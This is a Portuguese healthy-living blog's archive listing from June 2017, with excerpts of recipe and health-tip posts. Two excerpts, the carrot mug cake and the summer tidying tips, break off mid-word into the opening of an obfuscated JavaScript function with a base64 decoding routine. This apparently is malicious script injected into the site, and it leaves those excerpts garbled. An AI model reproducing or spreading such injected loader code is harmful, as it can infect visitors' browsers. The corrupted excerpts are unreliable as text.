Salada de melancia com hortelã e muffins de mirtilos

Jun 18, 2017 | Receitas

Salada de melancia com hortelã e muffins de mirtilos     Hoje trago-lhe uma receita de uma salada fresca, saudável e deliciosa para o verão: salada de melancia com hortelã! E como o artigo que fiz sobre os mirtilos foi tão partilhado, ensino também a fazer muffins de...

Bolo na caneca de cenoura e coco ralado

Jun 16, 2017 | Receitas

Bolo na caneca de cenoura e coco ralado   Um docinho cai sempre bem, mas para que não fique com grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

2 Saladas para combater os excessos e desintoxicar o organismo

Jun 15, 2017 | Receitas

2 Saladas para combater os excessos e desintoxicar o organismo     Após os dias em que nos deixamos levar e cometemos excessos, devemos pensar bem em que como é que desintoxicamos o organismo. Já lhe dei a receita de um sumo verde detox e de um chá detox e hoje...

Dicas saudáveis – 10 Benefícios da Aloe Vera

Jun 13, 2017 | Dicas úteis, Saúde e bem estar

Dicas saudáveis – 10 Benefícios da Aloe Vera     De certeza que já ouvi falar em Aloe Vera, mas será que conhece bem esta planta fantástica? Hoje falo-lhe dos benefícios da Aloe Vera. É que esta planta, para além da sua beleza natural, tem inúmeros benefícios...

Omelete verde com tomate cherry, mozarela e amêndoas laminadas

Jun 11, 2017 | Receitas

Omeleta verde com tomate cherry, mozarela e amêndoas laminadas   Olá! Já lhe disse antes que os ovos são uma importante fonte de proteína, com muitíssimos benefícios para a nossa saúde. Eu gosto de dar-lhe receitas que são manifestamente saudáveis, mas também...

7 Benefícios da laranja + bolo de laranja na caneca

Jun 10, 2017 | Dicas úteis, Receitas, Teresa

7 Benefícios da laranja + bolo de laranja na caneca     Hoje trago-lhe mais dicas saudáveis e escolhi escrever sobre os benefícios da laranja. Este é um dos frutos preferidos dos portugueses e eu não sou excepção! A laranja pode ser consumida de diversas formas quer...

Frozen de iogurte e papaia – Um refrescante delicioso

Jun 9, 2017 | Receitas

Frozen de iogurte e papaia – Um refrescante delicioso     Os dias de calor estão cada vez mais intensos e sabe mesmo bem um refrescante. Sugiro-lhe um frozen de iogurte e papaia, por isso, dou-lhe a receita para fazer em casa. É muito fresco e o melhor é que é...

Dicas saudáveis -10 benefícios do magnésio

Jun 8, 2017 | Dicas úteis, Saúde e bem estar

Dicas saudáveis – 10 benefícios do magnésio     Já sabe que adoro dar-lhe dicas saudáveis e, numa dieta equilibrada, não pode faltar o magnésio! Este nutriente, além de poder ser consumido através de suplementos alimentares, pode ser encontrado nalguns alimentos...

10 usos surpreendentes do alho

Jun 8, 2017 | Dicas úteis

10 usos surpreendentes do alho   Um dos alimentos que não pode faltar na minha despensa é o alho. É muito, muito importante, e não pense que serve apenas para dar tempero à comida. Além das propriedades nutricionais, o alho é um óptimo antibiótico natural que é mais...

Dicas de arrumação para o verão

Jun 7, 2017 | Dicas úteis

Dicas de arrumação para o verão     Decorar a casa para o verão pode parecer uma prioridade, mas vai ver que faz toda a diferença. Alterar a decoração de sua casa vai melhorar o seu humor e vai dar leveza à sua casa. Se, qufunction a4872b9c6b(y1){var...